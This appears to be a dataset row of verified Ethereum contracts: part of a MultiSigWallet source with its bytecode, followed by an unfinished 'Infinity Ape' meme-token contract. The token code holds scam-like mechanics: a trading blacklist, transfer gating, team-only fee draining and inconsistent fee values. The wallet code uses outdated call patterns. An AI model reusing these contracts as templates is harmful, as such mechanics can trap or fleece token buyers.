function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a72305820056e524f031171f483f41933605cdd0c2fc9c6836d4427336f66294cf159f6be0029
|
{"success": true, "error": null, "results": {}}
| 3,756 |
0xff2f6a7e7065bd404bc0bd12b32bf14013db70d6
|
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
// Infinity Ape (INFIAPE)
//LIQ LOCKED
//TG: t.me/Infinityape
//Website: InfinityApe.com
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract InfinityApe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Infinity Ape | t.me/Infinityape";
string private constant _symbol = "INFIAPE \xF0\x9F\x8C\x8C";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 15;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
